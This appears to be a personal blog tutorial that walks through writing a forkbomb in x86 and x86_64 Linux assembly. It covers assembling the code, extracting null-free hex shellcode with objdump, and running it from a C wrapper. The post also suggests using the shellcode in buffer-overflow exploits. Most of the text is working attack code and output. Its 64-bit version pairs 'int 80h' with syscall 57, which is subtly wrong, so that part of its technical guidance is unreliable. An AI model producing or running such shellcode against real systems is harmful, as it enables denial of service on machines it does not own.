First of all, you have to make sure you have all the tools necessary. I’ve done my development on a x86_64 Ubuntu 10.10 linux box, and I recommend you at least use something linux. I hope to touch on both x86 and x86_64 (32bit and 64bit, respectively) shellcode generation for linux but we’ll see how this goes.
You’ll want to make sure you have gcc, binutils, and nasm installed, as well as some kind of text editor (I prefer vim, but any other editor would work fine).
$ sudo apt-get install gcc binutils nasm vim
Most likely gcc and bintuils will already be installed, but it wont hurt to make sure you have the latest version. Once you install the tools you will need to write your program using assembly language. The good news here is that you’ll usually only create small assembly programs; this is done to decrease the size of your shellcode, which is a good thing. You’ll usually only need to use the most basic assembly commands, and we’ll go over an example program as well.
Now lets start by writing our assembly program. First you’ll have to decide what you want it to do as shellcode when you’re all finished. A lot of times you’ll want it to give you a Root shell on the box, and there are other tutorials for that. Something I find interesting is a forkbomb. If you dont know what a forkbomb is then you should look it up. So, our exercise here will be to write a forkbomb in assembly for x86_64 linux and compile it to extract the shellcode.
$ vim forkbomb.asm
Now we must be sure and write our assembly in the correct format so it can be compiled, so we start with:
SEGMENT .text
global _start
_start:
To write a forkbomb, a loop is needed, as well as a system call to “fork” the process (hence the name “forkbomb,” and an infinite loop of forking). Before we want to do the system call we want to make sure that the system register is first emptied and then filled with our system call number. (You may want to look up linux system calls for a refresher). To find a list of system calls that are available to your machine (or any other machine with matching architecture, i.e.: x86, x86_64, etc) you can do a locate command on unistd.h.
$ locate unistd.h
This will usually spit out several possible unistd.h files, but you will want to look for one under the directory “/usr/include/” (on x86 Ubuntu 11.04 the file you are looking for is at /usr/include/i386-linux-gnu/asm/unistd.h, and on x86_64 Ubuntu 10.10 it will be at /usr/include/asm/unistd.h). If you open this file and look at it, it should say something like this:
$ less /usr/include/asm/unistd.h
# ifdef __i386__
# include "unistd_32.h"
# else
# include "unistd_64.h"
# endif
/usr/include/asm/unistd.h (END)
This is telling us that, depending on the architecture we’re running, we need to look at either “unistd_32.h” or “unistd_64.h” for our system call codes.
A snippet of the unistd_32.h should look like this:
$ head /usr/include/asm/unistd_32.h
#ifndef _ASM_X86_UNISTD_32_H
#define _ASM_X86_UNISTD_32_H
/*
* This file contains the system call numbers.
*/
#define __NR_restart_syscall 0
#define __NR_exit 1
#define __NR_fork 2
#.............
And a snippet of unistd_64.h:
$ less /usr/include/asm/unistd_64.h
#ifndef _ASM_X86_UNISTD_64_H
#define _ASM_X86_UNISTD_64_H
#ifndef __SYSCALL
#define __SYSCALL(a, b)
#endif
/*
* This file contains the system call numbers.
*
* Note: holes are not allowed.
*/
/* at least 8 syscall per cacheline */
#define __NR_read 0
__SYSCALL(__NR_read, sys_read)
#define __NR_write 1
__SYSCALL(__NR_write, sys_write)
#define __NR_open 2
__SYSCALL(__NR_open, sys_open)
#define __NR_close 3
__SYSCALL(__NR_close, sys_close)
#define __NR_stat 4
#...............
You should notice right away that the operation codes are very different for the two architectures. This is the same way you would write assembly system calls for any other type of architecture supported, you just need to look for the appropriate unistd.h file.
So now that we’ve got our system call list, you’ll need to look for the “fork” command in the list to find the correct number. you can do this quickly by using the grep command.
$ cat /usr/include/asm/unistd_64.h | grep fork
#define __NR_fork 57
__SYSCALL(__NR_fork, stub_fork)
#define __NR_vfork 58
__SYSCALL(__NR_vfork, stub_vfork)
We’ll use the 64 bit linux system call for our example, and we’ll use system call 57 (vfork is slightly different, but it should get the same effect as fork).
In order to get usable shellcode you will want to make sure there are no NULLs (\x00) in the finished product. There are many other useful tutorials on how to make your shellcode null free, so I will just show you how to easily minimize the NULLs from the initialization phase of your assembly program.
Back in $ vim forkbomb.asm, add:
xor rax, rax ;this clears the system register, you only need to do this
;at the beginning of your ‘_start:’ section
;using xor instead of mov 0x0000 will help eliminate NULLs
;from your eventual shellcode
_fork: ;this section defines the beginning of the forkbomb loop
mov al, 57 ;this moves the system call into the system register
;note: we use the al portion of the register instead of the ;whole rax register so that it will not be padded with NULLs
int 80h ;this is the system’s “run” command, it executes whatever ;command is in rax, and right now that is command 57-fork
jmp short _fork
;this last command tells it to jump back to the beginning of
;the fork loop and do it all over again
So now for the x86_64 assembly file we should have:
$ cat forkbomb.asm
SEGMENT .text
_start:
xor rax, rax
_fork:
mov al, 57
int 80h
jmp short _fork
And for x86 we should have:
$ cat forkbomb32.asm
SEGMENT .text
_start:
xor eax, eax ;note: eax is used for 32bit registers
_fork:
mov al, 2
int 80h
jmp short _fork
Now on to compiling the assembly program. This is the easy part. Using nasm:
$ nasm -f elf64 forkbomb.asm #use ‘nasm -f elf forkbomb32.asm’ for 32bit
This returns a forkbomb.o object file that you will need to link for it to be executable.
$ ld forkbomb.o -o forkbomb
Now you have an executable you can run by simply:
$ ./forkbomb
However, this is ill-advised as you will likely have to reboot your computer. Plus, this wasnt the final step in your shellcode journey! Our next step is to extract the shellcode from within the binary, so that we can use it in a C “wrapper” program, or a buffer overflow exploit or something like that. objdump is a handy tool here (it comes in the binutils package).
$ objdump -d forkbomb
forkbomb: file format elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
400080: 48 31 c0 xor %rax,%rax
0000000000400083 <_fork>:
400083: b0 39 mov $0x39,%al
400085: cd 80 int $0x80
400087: eb fa jmp 400083 <_fork>
I have highlighted the shellcode that we now have from our executable. To put it into linux-readable terms we must translate it into the shell (hex) format:
\x48\x31\xc0\xb0\x39\xcd\x80\xeb\xfa #this is for 64bit
\x31\xc0\xb0\x02\xcd\x80\xeb\xfa #this is for 32bit
\x31\xc0\xb0\x02\xcd\x80\xeb\xfa #this is for 32bit
Congratulations! You now have actual live shellcode for a forkbomb! Now this begs the question, how can I use it? Well, thanks for asking. The easiest way is to make a C “wrapper” program that will execute the shellcode (another way is to find a buffer overflow vulnerability and exploit it...thats way beyond the scope of this paper though). Here’s all the C programing you will need to learn for this project:
$ vim shellcode.c
const char shellcode[]="\x48\x31\xc0\xb0\x39\xcd\x80\xeb\xfa";
main(){
int (*shell)();
shell=shellcode;
shell();
}
Now save that file. (You can replace the shellcode in this template with any other shellcode you develop...you’re welcome.) Compile it with gcc (for the system that you wish to run it on):
$ gcc shellcode.c -o shellcode
And run it!
$ ./shellcode
Oh wait...jk...
So by using this method of writing the program in assembly, extracting the shellcode from the binary, and placing it in the shell C program, you are able to create and run just about any shellcode you wish.
Hopefully you’ve found this quick little tutorial helpful. You can email any questions/suggestions/corrections you have to nullfree (dot) geno (at) gmail (dot) com.
geno
Comments
Post a Comment